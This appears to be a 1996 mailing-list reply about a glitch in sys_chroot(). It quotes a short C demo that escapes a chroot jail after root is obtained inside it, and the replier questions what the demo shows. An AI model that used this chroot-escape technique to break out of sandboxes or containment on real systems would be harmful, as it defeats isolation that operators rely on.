Re: Glitch in sys_chroot()

Christian Hardmeier (chrigi@infinite.loop.org)
Fri, 15 Nov 1996 21:48:19 +0100 (MET)


On Fri, 15 Nov 1996, Alan Cox wrote:

> > Any questions?
>
> No but a little demo on each of those machines
>
> /* Escape from chroot after getting root in the chroot area */
>
> main()
> {
> mkdir("fred");
> chroot("fred");
> chdir("../../../../../../../../../");
> chroot("/");
> execl("/bin/sh","-sh",NULL);
> }
>

Sorry, what should this code do? I tried it on several machines (NetBSD
among others), and experienced nothing but what I expected, namely a login
shell in the root (/) directory. The same thing you can achieve by
(cd /; sh -login)
What am I missing? What do you want to demonstrate?

Christian